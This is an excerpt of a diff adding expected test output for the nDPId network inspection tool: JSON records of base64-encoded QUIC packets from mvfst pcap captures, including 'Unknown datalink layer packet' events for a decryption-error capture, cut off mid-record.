+02096{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"quic-mvfst-22.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":24,"pkt_ts_usec":717506,"pkt_caplen":1294,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1294,"pkt_l4_len":1260,"pkt":"CAAnANMtUlQAEjUCCABFAAUAAAYAAEAR9MMfDVYICgACDwG7ixEE7JMhzPrOsAEACEhjA85S+SrVAETSp3xd4I3jcnRue9L34hUuKLzlfpPUk0DMF1\/VFxThZTibHyGTQPaeM6iOotElwwAC1lRX5vIn9ya6YsAZzR1T20xEKAiW3eJkBYrfQ3apmceqTTBCX0bJxPnVeRIzBODDHWoJM4cXlDC\/p3lohjBDIh+3Pmk8tNap58UqGgjHnaigatc5CgFJHJWL+Kd1f9qcpuyZT1uB\/ns\/WT+PLudF\/jQ9707j1mFbnqiURY6nhTe97ZArhq7t1JVJAsO33k150ABBjgVdT\/6wgI8ik0OKmmJMbfb2L+7Ixq0YAACyySDSzQt+wcslS6ksj5zkeJG1dT9Y35jxFQSLUO32yxmbwQFG+b4QvZMRJyJvqfQ7oSMncZe7gs3wgTuaXe5geZfkx17MmRYXTYrf9pvAukh+MM4Q8hjt2gZyy+8MqEokO31Taq32iXjDeFgjn7q\/sQ6rvlxCVyZt8Ccaw1VxzzUAQNXg6QrtjGJsnqKEgZqyevLn4vgbCyEPYSqzUTMTMLMrTP+YLSeAUyD\/0KlFtPE0vwwFCXwILzsVlF8Hrkegr6zVR+h\/fNZFiUKr8jA4htexop3\/TtMjF2PSObMi\/B\/O4yOQK7dMjsb7j6HNoUatgqnfa\/Ep22MPaFjhmHCE5j8WrQYwGpwTuF1k+FX+IBnWV4aUFnYpvfr221AiaeRWseWythbDWPKdPOoQEd\/nzlYGC5Oxk\/91qMZSP6Qi8tEzsAHdyiB9WngqFXo1pqCT6\/T6hHvEqNor+wZ910MK6fQ\/Z\/7idL3\/nnBnU9m8lqNNZM0XegQQnU8+PD\/XZhQjxUwoqqNWAXTx+KKl5uQmMcpN8TieU3aBwrb2x1xcZVNXnjwFxiEsI7kDQg0bAdgGrjrWKUk4cVimEMb0EC3L3V2ZK9Ef+8sswkJ6ekYpwvMTIYU4ZOYeN6c9agkkoqzbCCHeRQql9R0YriJFUFgYENUK5b9nwRNBW+A+lZE8ptuzw5xsFcuyBXpjCKYIgsmKcLlQPkBkV4L5QGZQzzBmN2GgfUAEzN8WWVN0hJqYa9YhcX7zxmRv9gsMitNksaFnr6AlihFLFZqlT9Y648AprztjF7njBZZ3u+CXpZkG7Px2yrrdTouwjAToPn\/AdVmPPTHV6xKp99fDbwaMyfL+yOcnJ2plbK+wkS1jsiP\/yDk9VzA04xL0657ViUEAuv3t4Pev7pI\/DIFdRVSmTSWKvywkuBVJ\/VJOp\/6cO+Cy5FlDhTQR7H8evMXUaEHp69QHfF8fPUAjUyJ7IMeXXtuK3UkzI7UvsOqWVYGkA2OumbWmFRfgS9XBGi3DmR5otgit5Y81MAvHsCQ0V0IB2P\/yq9sRuL6R8TwF63sAvaPwfsPjICjHyZ2krnIlWXUbArKvncQeHm1H6y9ztqgfn+NTwpQWRfi71aj5FP2C+U3RB9l5HqGgyZJ9tt\/Xiom3MonkmdTNfE9C0G+zTKbgAzuir0+laGJim+TV37+wtcreN2P4GKPPo2goOCnc140xbDBLn4BL2axie9RcUyuxXK9wAWvijAfXal3f1DydwVZ8LxwK8o06yHcTKFQ\/sXJaHnxv2HTtF\/v0IBQjQRHILVxnhCjAh73MlFUFSG3zJQ2aU164W5cGJFQS3\/OOJsBbuI1J+KjSFQ=="} +02093{"flow_id":1,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"quic-mvfst-22.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":24,"pkt_ts_usec":717680,"pkt_caplen":1294,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1294,"pkt_l4_len":1260,"pkt":"CAAnANMtUlQAEjUCCABFAAUAAAgAAEAR9MEfDVYICgACDwG7ixEE7GUmy\/rOsAEACEhjA85S+SrVAETSuH7quCgS8Qh0D\/bDO3gFDyLADGIuWnyCygbJxoXjp96KXvspho+865YDAISOGlOK6zOTsHDQAebkiFhwjAE3CGShccg0NcaDyS5u33R8Osm0onTcQUcavm+SMZHNxND0mAg59a7z7rYhXIsBKLYSznCIFNmBhvnQ+54HWzq4kDWVLL0ptfvb3giThFXk1AIMtBbaQwMGxHg\/8x0s7Ppw1zOCvbNuFb2SaGK8woqt2broJB\/xJJE2S1FwZCmQqqrE1mHTwDi+8M\/OC1IyVNxKVB8saqcFSbFe3BJEULgEgbvBwmfmNN7Wau\/J6gJxg5w745\/ujGtOLBoEAnkzp3XoTJN0Y42xyNe7RF+e2AS8staHpKBMbgG4b2fukqv0W5QWMOb9XdlK5lappO8kEpmoLvACo9Sy1bI0dfdz52edGlrvLjFy2h3zOMrwDHWDRiYmPSAbJ9pyo+VCqFMWVDhQI4ZmsKudQZcU+vReqpUp36fwM5gOtsh2Hk\/S0k+EHqDAZZLNzSF4Yr5ZabIDN\/R6biJU+FbtoUG+RJBpWcvmHAUftMbmErNWLgTpRpllj3nUl2F8eMASJGjRK8oYFrTV1fl7xjdeBam93XysGVWS92VND4SDvDULI6TRr\/337rNSj3EREqThlcSaMocH0kz+\/upNhJQxDeelV1RY26qv9bW8VdFma6p7uhfRK2roH3G5uc\/+tiG6qdmRct7WQoGsbTeaFFwB7Ji7Wtb9Amekof3OVUrPd+6iV+W3mM4hQL9kRTkFzHEd\/WA\/+8ZmZ+0XzQrpy3WwRvRc4DmvV7nvOYs8y+909LdGLV6CpRLEK1604OVZbyXxVxq8+mD19ElUn1g8QnbzGBFa3Eif7B0cGdFF8WqgYvqe7ufF46ZJs8QD63+SQv8gGxmUo3SJWQ3Yfj1uYEYSEfqi43AQxOFbKmd5oqszRdikvUk0Zh8XMjntw3CR4tWh1lqTR3LIN8Lt7A9gIRX8+3G76YoaDY2JIMjxOuLYIRBVe\/VWBuKPMLqRCv4wvIDach8GKJmbI9PTQ01q1Z5kL\/zM7jTdFAlentpckr6+ua\/D6t6rLd0nkkL8d+15pg8\/FKhrDBHA4Ml4BRHizjz4SpRJ2QEiV\/niWkbX1e0hkpcbZ2xmOFDZW\/9O8RjAOdM08kiCSbKZTUpnl9P0qLKtjystpZa5q8OrBMgSHUgHM1S7geU06smT7+czbBGnnd5A+6PV0mPwqueT\/OUV15fL2NUOxgfqhC8iKqRfJcjzm8CssrkrLVEfaPmw7D7KOm7\/2J64iyqOubriFO6KrbjP+1qKiLmCaqNeEy3JTylMKWsH5UVovtnGGCKeolJjanKSFdzQ0naGenN7GlArcfV78Zclt+QC9mK2mtHkEiOwhoeprg\/zQujUyWH4lxZTrhtEFhlJUvQKpPst4HYEqZgxQPGS5nmr51v1f2cwzcaORxf3cXeVVh\/GKwiwMjI8VaKzhRxAoKZZ3g1TUl61dqF4liU6GnZkX+YBlPJ80vXLVfIDc4zwsjaBUxk1pJO\/LOLCp5buKJ87EbzIoejsqFXfFarTVLwKw\/2KUHEIwDL1x1rU0t6Q+Ap29yyER+brp4OyVHhD6T7u9LrfjXexdQfUgnSNX1Ib4LZ7OO\/KrQ=="} +00654{"flow_id":1,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"quic-mvfst-22.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":24,"pkt_ts_usec":717704,"pkt_caplen":235,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":235,"pkt_l4_len":201,"pkt":"CAAnANMtUlQAEjUCCABFAADdAAkAAEAR+OMfDVYICgACDwG7ixEAyZUL7\/rOsAEACEhjA85S+SrVQLDZmqvdE4MW8rOoM9w1rs1Ve9xUoq2hsNz4FSoH+8IX1y4OMQxrypqkjJmRSoxWAG4K1BtToT05DqZDXPA37W+oiuzYsAIvdZTBfcaW6sfsKLCaOVSC5AxtXemXyvLz4KBgZJ2jBsRg2KsMK\/6hkk97+qIGO71thTOTR2Uxubh0E8pSeU\/BRpDPuhyvo23drRHiiQm7fVAfdcFggcOmmrpSxhmnVdz7bvCj8OeBJ0wnOg=="} +00462{"flow_id":1,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"quic-mvfst-22.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":24,"pkt_ts_usec":717727,"pkt_caplen":95,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":95,"pkt_l4_len":61,"pkt":"CAAnANMtUlQAEjUCCABFAABRAAoAAEAR+W4fDVYICgACDwG7ixEAPc+eTba1WeBVT8v\/1jeyyM0xr1m+u5EZLD2ceOv9P7n5p87H9BYMGSjcdl9CHngv\/xzJ9bswwrQ="} +02065{"flow_id":1,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"quic-mvfst-22.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":24,"pkt_ts_usec":726663,"pkt_caplen":1274,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1274,"pkt_l4_len":1240,"pkt":"UlQAEjUCCAAnANMtCABFAATsAABAAEARtN0KAAIPHw1WCIsRAbsE2JWRxfrOsAEISGMDzlL5KtUAAES+XaOQYa\/KU28k88zGj2LhJbsR3BIHJIA8BSBlEIP1WSh2w8TMVhfGg\/H81omKRwrWK2ZN8XlLnLRO02973GQv3bkM6jq6Kii\/PVvNppRuhPiKVs46Hrs+B0YYzyP4d1GL8\/YkrzPS6\/B\/WcwhS6AeieEzLrQC57i8alz0hkgPCq0cef5qYxQYVFtcRKP+uMprNLxz+R5F4X1a6yCZf0oI+UIQbaciGetBAcQS5smzh0oFspnDR+0IPu5UFv\/JAtphTrOEIr26H2HnJEujGbCmQG3\/YjNXMnM482PqNo6SVFhnVT\/SoOlnTusd3pY6E2awKtKs8p08SovbNydF8gduydT+aR+\/IeMHOibxeJ03C1RxbUaK9QRDzZ8GEwFRK8LPwkfNy7B1CdgVfrkRLU6rKgQC\/D7HWVAaxcXjWkFTR2GWWMtWwusSkRX1P7ZVHZoB62hP4rizwQuJhHZk43WdaqxArGOQATl2uuhF6zczk9Vb4U12eTDiR6EIzgIice0FXt2XU4K8hkav+tdJkRvaVpALK+vZzaPVU3vc8hRM02zis+bG8bzNyRvV1pCBykG9b7SfjiUPMW950qe0UauTk+6AUbDmwkNbMbOPRhbSOLHjWOR4NvnGADFJ2unCEH2V41Gpcr+aYzMJIcdMhdQtA+XiqU6YetO1lEhiovsyKWGxiEZMD9o6srdR1aR9zeag2CY6lrS9fcitwO8Ex18pVnLrtptksKkMNXE4cjM0TR9TY95nA8k\/dTHtORTrx2+sJzofotPQnXR7iARPLn\/\/zq2LOzqepRkqGw90xXOwTBErD2iGirA66vnsdudqMDaLgUF32Hnsbuw\/6ZvoCmHx4LCkoE33xufJqtMXSr4fj956+Svbou+SLMJ2d3HwvjnFdvoWvpnADXShxkTYn+CMqRWbBxfR\/h5No5IPwngzi9PlWKzZoWitrJ81G\/Jm4l72os4k4EzBwY3WSBT7NXVBBOtzZCfESSsq4LfHgEFb\/BGbuerS3YvTq1A0qQGDf7Bp1Lr+\/muz7h5NqzW6juvHGkms7OIKGCmdKhPNtfcWGFilIQcg0UN2t8zWKCso+onXXaKFwdgffXBSZmydK5g7jcHk9elrC24n8fpei7sq\/82JFCmqdchFLEcvVVmW0mbIUpR7T4f3TyHfv0bw6d5ll8XJHcZhz\/M+FUK+bWUGJ5FH1hKj\/W3V6CNsWEvTCoZojunkAELHx8lqApPd6R2zZh7nxfpZEVyWJz65hhbd814RbAJANJrAhMUaNCQtNtvpK8VJdwK6qjTKqXiSV7q\/kyQZuR273hZfeYOPYxgW2AgCgJKGhBbKvG\/IsgXMup2w4VRDPJVa+aMv0xFDugLUrxqqo20wlIPuMmb\/VbikI8BgSabJDbe51S3Vv+hSuru3wNcsPgJRcQvn9QQTJINg9ogqusgcxS5zT5PTufuxYf44b9xHCG1nHeePJJQEQFytRNDsR1bh5vImefZCCn+6l5PeBJnLINegpMSBA2bPpptUGxEv+DopjGyQmZ80+D+USu2iSn4bTfm4q4X4XocAYkv0cerEl2t14TTo2jlq764+B9\/mekhF\/stp22pYy7W8nSEi+CvFOW64LfpD5dA="} +00496{"flow_id":1,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"quic-mvfst-22.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":24,"pkt_ts_usec":726855,"pkt_caplen":120,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":120,"pkt_l4_len":86,"pkt":"UlQAEjUCCAAnANMtCABFAABqAABAAEARuV8KAAIPHw1WCIsRAbsAVmOQ5vrOsAEISGMDzlL5KtUAPlQPaVci5zGWnAhgnW5JPVSK91XSw0CasCNg46lrI1epL5jC1f\/6goPaEQk6RN28aZw7uZpvlFM2glR\/39XB"} +00482{"flow_id":1,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"quic-mvfst-22.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":24,"pkt_ts_usec":726923,"pkt_caplen":109,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":109,"pkt_l4_len":75,"pkt":"UlQAEjUCCAAnANMtCABFAABfAABAAEARuWoKAAIPHw1WCIsRAbsAS40jVEhjA85S+SrVdF01B7Wa2L8KViMOZa+Ff5+NvMt0VJtfWAljJWmahagkppEsIb0aW0EzyIYmbHKBF3mMPfLOru05OQ=="} +00440{"flow_id":1,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"quic-mvfst-22.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":24,"pkt_ts_usec":743467,"pkt_caplen":80,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":80,"pkt_l4_len":46,"pkt":"CAAnANMtUlQAEjUCCABFAABCABIAAEAR+XUfDVYICgACDwG7ixEALvFE7frOsAEACEhjA85S+SrVFjIDnMXQgzQ0nS4dO7RnleKuhQXwriY="} +00707{"flow_id":1,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"quic-mvfst-22.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":24,"pkt_ts_usec":743467,"pkt_caplen":275,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":275,"pkt_l4_len":241,"pkt":"CAAnANMtUlQAEjUCCABFAAEFABMAAEAR+LEfDVYICgACDwG7ixEA8YNVUlKG6xtFsnHNOmeiGqQDmgSdwdn5gbKGl7W\/QANRxEIR01vPy3viYCvYXxKSIIEHvONQoEXRLq5MY8A2bq4MUK1E5GMFgMQSlU+q3vu231OWkv7tav5hXeJ3vYi5m4IkCBDGKShkH9iZD9t8HU4vj\/uH9pVsTSD2Eb+97k+B9ySWTdecmXTJ1z28QY+h8PxBCnefgwmspCEpfnyGRYM6bI0Xq7VWBkaia0i4Yysxrm5P+sdo2czGhH53Eg0MjKorjwlGw6KiEhEHWiBQxdss3BncGtL2Xbtn6JbEzRAabxdkWjIsH0Vi+u4="} +00434{"flow_id":1,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"quic-mvfst-22.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":24,"pkt_ts_usec":743467,"pkt_caplen":73,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":73,"pkt_l4_len":39,"pkt":"UlQAEjUCCAAnANMtCABFAAA7AABAAEARuY4KAAIPHw1WCIsRAbsAJ9qWVUhjA85S+SrVqSXaFsAL6gEQLoDxk34syg5w7+vRsw=="} +00424{"flow_id":1,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"quic-mvfst-22.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":24,"pkt_ts_usec":767865,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"CAAnANMtUlQAEjUCCABFAAA0ACAAAEAR+XUfDVYICgACDwG7ixEAIBc\/VIiH5LV8qeL3N9dTzz\/bRJAUTRJbF+1j"} +01890{"flow_id":1,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":13,"source":"quic-mvfst-22.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":26,"pkt_ts_usec":834454,"pkt_caplen":1142,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1142,"pkt_l4_len":1108,"pkt":"UlQAEjUCCAAnANMtCABFAARoAABAAEARtWEKAAIPHw1WCIsRAbsEVB7dQkhjA85S+SrVOmTjyQAGgYMcFSCiIDRU3Yr5wOPFMVlAvU\/K6Wr3CXIaP0cXJ+R8tyJjtHKDEnswAxAW9ujcq6Un+BHUeMIlwUqlMt5dnLJY+ztEuuB40p4o4ZnUfe6R6fCTPQaU6UvlP1G5kwywoeswCziaxdjEEinDz\/gGCUGgBa7OgPoIHh6WGy5Jq\/yDSyxbdZbsf93LRVNy2Ggnit21Fhz0YWqDflukpWp1VnXfeLl4lXjV02bP7ffk5+8Qer2NplZ\/RVb4mAEPIdbfimOcQt6DlOWTFLVZVVdDvOheTVxWz1imIrBNNG1tryn2CNO85cQ525pmOTiepaa3cI4lrQNyUG5EQUT0tdBKht0+gJ2doQDSTrSFw3G+fBTWu0AWfMbnlGO9ypwCCuiUw1jfZLDbF9HPpG2lZBIZRkPRm4X8cLfNx+W\/U2nH1gl9Hg4q2r8J9V6c+Om9R+VCzUsr97BQm2ggblRl2857xTAuPptrFZxjJDYCft54Ldm3Ft+4YARQAl66kGCiI1pxL4N0eBPekc8roAiJpuzCWnRCHwGHWp\/uIJADdNVBDTB1mF\/woWpToTvW3NGTual\/vx70hQTs+QgiIF+osyx5APHU7iMhvot0\/vtEmxGMfELPII+2iBZzyhQhlLJ\/vlW2WhoHSwDxq6Cc1beESGlgYzPm\/dvpDFQ99qYDtLvjUFPeGmdOJsrXoBNOp97t7sEws8yqoFLW5vGkj4ZY6ddO+emVWc3YWtYy1Sg65XHoYQ6LxIvMz5WYebk\/Tofl++nLu4AlvAM4EjKn81lPtSh1Hru9SeNVeRhrIydmlseJoigLjo6dRaZcDOrw1fhX59LC4XA10BF2nd2mYCIN1YVeo\/DGoHd2Du\/MT1KFK1fNAXQ1yR1OW0kmA9WGVFYfLULxqUt9VybRd07gqIa05SMdWOH8auNI4v6+lsOdgY8\/k5DCyPza11DSYOMhIObvQ7We2rRSoznPcGyZD1daIDUlTui6EXJ8zlsdH\/ww8qCAnbgJs3mlOdduLSCypkMGVumajfhmsokvKSu4I5YkfCNQtzI6wIw9tIjDs7joPeghDuql2at4r3RCkmvOnpmYc8aphv1doppEuE+PYP\/cm6nRhVrI3qf2MDy\/pGfMqBIdiQHdOaMNR8OFXMS492GBNpfVKyI+kNDCmKG47Ihh+AC95Mx0thgN82ZrtR1eWjnhQci\/9Nt0u9itothJJyJ86GXt16KvNuy\/n\/\/8TMgJA9C4lX\/V4wuV5fK5IQE9s2SCVLvza1tiSReT5H738YXcNuYnolbB\/Mn+YnSg3lUo3fZZfL+z6DYneOLeMG3FawMuDMX6q9fVgM4iGXDfwm2nr+GouAmzP\/WvaINwdvnYiGLLZllvrckbSEbqd6f\/ocg4T6nzfpvkTZ81oob2N94wjwyDFAvLYfGDiiGgsimERPCXE6qIkuQtsvMXPlz3psc="} +00431{"flow_id":1,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14,"source":"quic-mvfst-22.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":26,"pkt_ts_usec":840689,"pkt_caplen":70,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":70,"pkt_l4_len":36,"pkt":"CAAnANMtUlQAEjUCCABFAAA4ADIAAEAR+V8fDVYICgACDwG7ixEAJG\/EX4TLOAKrs2dYIXyaoMAVOW1pFSg0o2kLbbCIew=="} +00435{"flow_id":1,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15,"source":"quic-mvfst-22.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":26,"pkt_ts_usec":865094,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"UlQAEjUCCAAnANMtCABFAAA8AABAAEARuY0KAAIPHw1WCIsRAbsAKPiYQ0hjA85S+SrV7ZXz\/rdFh3Bql8c0WhU1o790KTEFQHs="} diff --git a/test/results/quic-mvfst-22_decryption_error.pcap.out b/test/results/quic-mvfst-22_decryption_error.pcap.out new file mode 100644 index 000000000..5134b472c --- /dev/null +++ b/test/results/quic-mvfst-22_decryption_error.pcap.out @@ -0,0 +1,706 @@ +02021{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1,"source":"quic-mvfst-22_decryption_error.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1593498296,"pkt_ts_usec":832000,"pkt_caplen":1260,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1260,"pkt_l4_len":0,"pkt":"RTgE7B0GAABAEeVBCuYoqF5h4ZLy9AG7BNgTGcP6zrABCEACR1YBz3h7AABEvkgDSkdXT8KDRtZ6SuR9aklyes\/l4Sioa5nXAcPGveAb5Mb0k7uBERsrnzBa9uno+scwKQJ+8HaE7SwNRWaJ0B+VYq5sgzaHE9BksItfZB05b19PkWz3XaOJPeabOxbegkEde\/7BgQc2iMQiMZifq3YQkFbpelKpfZ8UxZbKFKO8T8enNpDFvm79StOLsc58r6VUI7R7RX2Dh+7UvHc8w55LVS4nFdKyvt+gLMAzuTrAqSRX04ucEX43SZLKcpJ+X+iK\/v9u1yLmGT\/8hHS\/A3VBUuWVRkAqUr3zRxflhV5CjsXky9idxKWm4C9Pn6cw4624LuYteYIUWOTHQHv3zV5\/rnXQxed5aHO337llijw0yLFxpnpOUEtoxTKtZZeNyR3\/hCIkY3n14k3gHfYXZl5t7DMoJYBnIHHhmdFCOK4sdCcKtpOlPKhDiv0BdCMImPxwr5CZ3d0NvKvNFKbylEYXGyw6diXHrADpP1Bpo7IsDo6OECekYHLzamw7fo5GRjTg4wyZ585sRHNOY5UQ14urjp6qTgyJaK+bJQKQXSG\/jPsJRoA3bT9RYwhd92VXr\/SRpMsMI1dgiAabVuN6aapjwqQ05GcX1xWXUOswELHBWeda+RZSG0ealfCxTmgk\/LmTIARNNTXtxke0sf\/IlfnV3ikcr9NqDIrI6of1G3cZfUQGBWE6gBVL5hH\/8pDG4T4ZpNiYz4Y0kEK9VRD1GZ0w6BCqlt\/kg2zd6ahgaI4n0T7BllqMO01YZ1t9pyXJShYy7a1\/GE3TCKsHNgIVU+OzGaBubO2O8foCsTRqluuqUPhG3n2E8MHmbHfrbqadkpRwbm5mHSUiRHvHPOMZ3uD3xF6j764aqPOQrl01dj1iQP+qGIcEY5l4ogPeALtV3hU5f7bpvLSDPKVoHsWvz++bxVzr7sgAnGREUzsxKt4SUYuRzz53icFmvd9rxNmgOaF+PEw\/dQIcNJqpxX8ulzLr4tUIjHsZy8Y3w0WHWlRvXX5BFt\/FNL6D1z9p+LMmNXuSPqVvh56LVqzeEf7uD4SQyYHHodFZUSZh4UJZfGLFC0eeFNy2qBWMNwCptrLdwN5PCZlQ07ewM1OmYFXib\/9zYOSk4B0N24Ml1I3V+BUt9Q\/f7In0Lo1bYVhzoFFJnm1wIhEDEaXvsKWXwZTHPIpl1Hz1I\/6Yq3hsX1N3dtM00S1An2mdoc9+06efV9TeSDkQwX8r+ZabNOKTRtHqXDe1Wl+aE\/ZahNHsuY3HnDuGINcHsBCTv1ovOmoDAi0RUdYM0lPaGHSMu61RpKW5cRQ0Cdy0+WZXfm0NBcMkEOs1K83zDl3Ni0ybs6vWiqa45kxw7H1vC362nLorQvhZdy7wTrE4RWiFGT0Xccp4Rl8QprALjpWqFcS7MPnifCUJZzLuwLuogz6ePAO7YscFlIza4b2sSjihSJrD9QLuOyhifjzSEn4amVk5ivqXVE+QZ1R7NVlYJU0wlh1SwakKVblsHRVpjkjVrp5to9V854cET1W0se7gIi2a7oXoLvW8CT8NdthxNrd\/AUaazo7KSGS96THBAG+HmraPSIMT5EEnSDc\/KXc1EWvMFe0xKOugeQC4v6tFGa5dLsgNI0TE"} +00182{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1,"source":"quic-mvfst-22_decryption_error.pcap","alias":"nDPId-test","datalink":12} +00465{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2,"source":"quic-mvfst-22_decryption_error.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1593498296,"pkt_ts_usec":833000,"pkt_caplen":106,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":106,"pkt_l4_len":0,"pkt":"RQAAapbBAABAEXBACuYoqF5h4ZLy9AG7AFbkKub6zrABCEACR1YBz3h7AD4ztLOg+8\/NWUDesKp0sDyq9wl\/qnK\/iaP4qknLwsMfEkvd24lrwL0JnOo2eK80vHLhCKIp2AiTqDI94jB8\/Q=="} +00182{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2,"source":"quic-mvfst-22_decryption_error.pcap","alias":"nDPId-test","datalink":12} +00465{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3,"source":"quic-mvfst-22_decryption_error.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1593498296,"pkt_ts_usec":833000,"pkt_caplen":106,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":106,"pkt_l4_len":0,"pkt":"RQAAapbBAABAEXBACuYoqF5h4ZLy9AG7AFbkKub6zrABCEACR1YBz3h7AD4ztLOg+8\/NWUDesKp0sDyq9wl\/qnK\/iaP4qknLwsMfEkvd24lrwL0JnOo2eK80vHLhCKIp2AiTqDI94jB8\/Q=="} +00182{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3,"source":"quic-mvfst-22_decryption_error.pcap","alias":"nDPId-test","datalink":12} +00465{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4,"source":"quic-mvfst-22_decryption_error.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1593498296,"pkt_ts_usec":833000,"pkt_caplen":106,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":106,"pkt_l4_len":0,"pkt":"RTgAapbBAABAEXAICuYoqF5h4ZLy9AG7AFbkKub6zrABCEACR1YBz3h7AD4ztLOg+8\/NWUDesKp0sDyq9wl\/qnK\/iaP4qknLwsMfEkvd24lrwL0JnOo2eK80vHLhCKIp2AiTqDI94jB8\/Q=="} +00182{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":4,"source":"quic-mvfst-22_decryption_error.pcap","alias":"nDPId-test","datalink":12} +01262{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5,"source":"quic-mvfst-22_decryption_error.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1593498296,"pkt_ts_usec":833000,"pkt_caplen":698,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":698,"pkt_l4_len":0,"pkt":"RQACurDPAABAEVPiCuYoqF5h4ZLy9AG7AqZJuU5AAkdWAc94e8TV08o58cInQhPfXEiH4R0yyR9AqFdJP97dW9QPxH5QALs4W48u\/A\/lmN+Z1gHpoOM1PLHjFfJbJb+kTSEeMOTQm72wgJFh+SbVesiWwZpXw+U97IhYBLP3WiFpBRQqDumQUeDiPkGwyTmNP9TNRpuF5QXHv1kPwiigyC2fJbgUUnl9e+zGQ79Cz8Bs\/eLwhmD1t2VJ7Cd7RuwKu2Fjort3XX4whsN7E7gB18XviaUhr5XnESzxgkyjbQ2IfYB1sJV2o4NiOWtS1g6oecOKw+P0SfmOdI8cA9W3q6oJEd81gYI3RSx3xGFnp9Oqu5Hc1vqbqNObKzndCPUi\/ewslI8ItQbC0BI4e50MqqScJSR\/5Vl6GG0TgIA0bMt3EG4lRLe0LXPxOgts4PbF21wxQKa7Tv1beWim5pfI+OGmD3DMiWSvIdPZw4l\/5hMQFemEjraWnBk1V\/\/OrAI2iv\/RsuB4yz9sORUhXLWck60hCb1uyIqNiRD+xW3bPH7r3P6z4UKMSlVVvqUDaRMdKibqynDHOOAWSj7+sP8Bf90ZLULJRyJUvi97ONtn16Gv8dO0\/jgeS3zlXeoqRUMEdvWBCLl6ExIUXPrzQxsNhsLrDhpW\/tDjV8bVc6b9OLSI4orbGjrxJjgcK689zWXeFHPekaWBT4LUjVMZvHiddSwc8CEIhbTIYZZ\/KM3XZ3u